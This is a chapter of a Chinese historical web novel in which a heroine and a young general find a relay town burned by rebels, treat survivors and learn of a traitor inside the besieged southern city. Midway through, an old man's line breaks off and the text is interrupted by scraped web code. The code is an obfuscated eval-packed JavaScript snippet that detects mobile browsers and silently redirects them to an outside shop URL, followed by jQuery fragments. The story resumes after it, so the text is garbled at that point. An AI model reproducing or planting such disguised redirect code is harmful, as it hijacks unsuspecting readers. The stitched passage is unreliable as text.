火光染红了半边夜空,凄厉的哀嚎声顺着风飘过来,断断续续钻进耳朵里,听得人心里发紧。


    盛明奴握着匕首的指尖微微用力,指节泛白,眸色沉沉地盯着那片火光。


    凤落镇是通往南城的必经要道,也是南境重要的粮草中转点,怎么会突然起火?


    她心中隐隐有种不好的预感,凤落镇起火绝不是意外。


    萧惊寒勒住马缰,眼神冰冷地看着前方的火光,语气沉冽:“所有人准备战斗!”


    “将军,要不要先派人去探查情况?”萧毅勒住马缰,凑近萧惊寒低声请示。


    火光处人影杂乱,不知是叛军洗劫,还是民宅失火,贸然全员靠近太过危险。


    萧惊寒眉头紧锁,沉声道:“带两名亲卫,速去探查,记住,不可暴露行踪,尽快回来复命。”


    “是!”萧毅应了一声,立刻点了两名身手矫健的亲卫。


    三人翻身下马,猫着腰朝着凤落镇的方向快速潜去。


    车队暂时停在路边,护卫们纷纷拔出兵器,警惕地盯着四周。


    夜色渐深,风里除了哀嚎声,还夹杂着淡淡的焦糊味,让人越发不安。


    挽月扶着马车门框,脸色发白:“小姐,这凤落镇看着凶险,不会真的被叛军占了吧?我们要是绕路,会不会更慢?”


    盛明奴点头:“绕路只会更耽误时间,而且南境多是山路,绕路更容易遇到埋伏。”


    “想必不是埋伏我们的,早知道不同小将军一路。”挽月着急道。


    盛明奴拉着她:“先等探查的人回来,看看情况再说。”


    她顿了顿,抬手按了按肩头,方才急着掀车帘时牵扯到了伤处,疼得她后背冒了层冷汗,却还是强撑着道。


    “你去看看后面车队的粮草和药品,伤员估计会一并放在凤落镇修养,拿些必备的东西和他们分开。”


    “好,我这就去。”挽月应声离开,心中越发敬佩自家小姐。


    盛明奴深吸一口气,对挽月道:“你先在这里守好马车,我去前面看看。”


    “小姐,太危险了!”挽月连忙拉住她。


    “我不会有事的。”盛明奴轻轻推开她的手,毅然走下马车,朝着萧惊寒的方向走去。


    盛明奴走下马车,走到萧惊寒身边。


    夜风吹起她的发丝,沾在脸颊上,带着些许凉意。


    她抬头看向萧惊寒,轻声问道:“萧将军,你觉得叛军藏在凤落镇有几成?”


    萧惊寒侧头看了她一眼,见她虽面带倦色,眼底却没有丝毫慌乱,心中暗赞一声。


    “凤落镇是南境粮草中转枢纽,叛军藏在此处,无非是两个目的:一是抢夺粮草,二是切断南城的外援通道。他们就是想让南城变成一座孤城,不攻自破。”


    “我也是这般想。”盛明奴点点头,语气凝重,“若是凤落镇的粮草被叛军抢走,南城的情况会更糟。我们车上的粮草虽多,却也只能解一时之困。”


    萧惊寒沉默不语,他自然明白这个道理。


    父亲被困南城多日,城内粮草断绝,他此行本就带着救援粮草,只是数量有限。


    约莫半刻钟后,萧毅带着两名亲卫回来了,三人身上都沾了些尘土,神色凝重。


    “将军!”萧毅快步走上前,压低声音禀报,“凤落镇确实被叛军洗劫了!叛军大概有三百多人,半个时辰前刚撤离,镇内民宅被烧了大半,不少百姓被杀害,剩下的要么逃跑了,要么躲在镇子里不敢出来。我们还在镇口发现了萧家军的标记!”


    萧惊寒眼神一冷,“这群乱贼,竟敢公然洗劫粮草中转镇,简直是无法无天!”


    盛明奴心中一沉:“他们撤离多久了?往哪个方向去了?”


    “撤离不到半个时辰,朝着东南方向去了,像是要去汇合主力叛军。”萧毅继续道,“镇子里还有不少受伤的百姓,哭声震天,看着实在可怜。”


    盛明奴沉默了片刻,抬头看向萧惊寒。


    萧惊寒眉头微皱,他急于赶往南城救父亲,不想在此处耽搁。


    可想着镇子里那些哀嚎的百姓,心中微动。


    他转头看向萧毅:“有没有留下埋伏?”


    “我们探查过了,没有埋伏,他们走得很匆忙,像是在赶时间。”萧毅回道。


    萧惊寒沉默片刻。


    “叛军汇合必是有所行动,小女车队也有大夫,还请小将军放心,这里有我在。”


    “萧大将军和我父母都在南城,那里的危及还等着您。”盛明奴立刻说道。


    “不行!”萧惊寒断然拒绝,“镇内情况复杂,谁也不知道会不会有残留的叛军,你一个女子进去太过危险。”


    “萧将军,我并非手无缚鸡之力。”盛明奴抬手,露出藏在袖中的匕首,眼神坚定,“而且,时间紧迫,多一个人就多一份力。”


    “我还有件事拜托小将军。”


    萧惊寒跟着盛明奴走进镇子里,某处地窖中藏着一些人。


    看着很多粮草,萧惊寒忽然明白她眼中的坚定,又想起她之前面对叛军时的冷静。


    “将军,就让盛三小姐去吧。”萧毅在一旁劝道。


    萧惊寒沉默片刻,最终点了点头,语气严肃:“好,我把萧毅和一队人马留下。。”


    “多谢萧将军。”盛明奴松了口气。


    盛明奴等人重新走入镇中,一股浓烈的焦糊味和血腥味扑面而来,让人作呕。


    街道两旁的房屋大多被烧毁,只剩下残破的梁柱,地上散落着衣物,残骸,场面惨不忍睹。


    偶尔能看到几个浑身是伤的百姓躲在墙角,瑟瑟发抖,看到他们进来,眼中满是恐惧。


    盛明奴心中一痛,快步走上前,放缓语气:“乡亲们,我们是朝廷派来的援兵,是来救大家的,不要害怕。”


    百姓们警惕地看着他们,没有人说话。


    直到看到萧惊寒身上的铠甲和亲卫们手中的兵器,又看到盛明奴身后人手中的药箱,才渐渐放下了些许戒备。


    “援兵?真的是援兵吗?”一个苍老的声音响起,一名白发老人从墙角爬出来,身上满是灰尘和血迹,“你们快救救我们吧!乱贼太凶残了,杀了好多人,还


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970282|185954||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    抢了我们的粮食!”


    “老人家,您别急,我们会帮大家的。”花大夫蹲下身,从药箱里取出药,小心翼翼地帮老人处理伤口。


    老人疼得龇牙咧嘴,却还是强撑着说道:“南城被围得水泄不通,乱贼每天都在攻城,城里的士兵都快撑不住了!听说城里的粮草早就没了,只能吃树皮草根,还有好多人染上了疫病……”


    盛明奴的心越发沉重,刚想再问,突然听到不远处传来一阵微弱的呼救声。


    她立刻站起身,朝着声音传来的方向跑去:“有人在呼救!”


    萧惊寒紧随其后,心中暗叫不好,怕是什么陷阱。


    两人跑到一处被烧毁的房屋前,只见一名女子被压在横梁下,下半身被烧焦,浑身是血,气息微弱地呼救着。


    “救命!救命!”


    盛明奴连忙上前,试图搬开横梁,可横梁太重,她根本搬不动。


    萧惊寒上前一步,单手抓住横梁,猛地一用力,将横梁搬了起来。


    “快把她拉出来!”萧惊寒沉声道。


    盛明奴立刻上前,小心翼翼地将女子拉出来,放在地上。


    她刚想喊人来,却发现女子的伤口太过严重,气息已经越来越微弱了。


    “水,水……”女子抓住盛明奴的手,眼神涣散,“南、南城粮草,叛军。有内奸……”


    说完这几个字,女子的手便垂了下去,没了气息。


    盛明奴心中一震,猛地抬头看向萧惊寒:“内奸?她刚才说南城有内奸!”


    萧惊寒的脸色也变得十分难看,他蹲下身,检查了一下女子的尸体,沉声道:“她身上有军方的令牌,应该是南城守军的家眷,从南城逃出来的。”


    南城有内奸!


    这个消息如同惊雷般在两人心中炸开。


    难怪叛军能精准地围堵南城,切断粮草通道,原来是有内奸在暗中配合。


    “萧将军,你必须尽快赶到南城!”盛明奴的声音带着一丝急切,“若是内奸在暗中搞破坏,城里的情况会更危险!副将军也跟你去,这边我一定能解决。”


    “我定能为将军守好这里!”


    萧惊寒点了点头,眼神冰冷:“好!我立刻离开这里,连夜赶往南城!”


    他转头对萧毅吩咐道:“给镇里的百姓分发一些粮食和药品,然后尽快赶上来。我们先走!”


    “是,将军!”萧毅应道。


    回到车队,盛明奴立刻登上马车。


    挽月连忙递过来一杯水:“小姐,您没事吧?里面情况怎么样?”


    “我没事。”盛明奴喝了口水,定了定神,“情况很糟,而且我们得知了一个重要消息南城有内奸。”


    挽月脸色一变:“内奸?那老爷和夫人岂不是更危险了?”


    “是啊。”盛明奴握紧了拳头,“所以我们必须尽快赶到南城,不能再耽搁了。”


    夜色深沉,前路依旧凶险。


    盛明奴靠在车壁上,心中默默祈祷,希望父亲母亲能平安无事,也希望萧惊寒他们能尽快赶到南城,揭穿内奸的阴谋。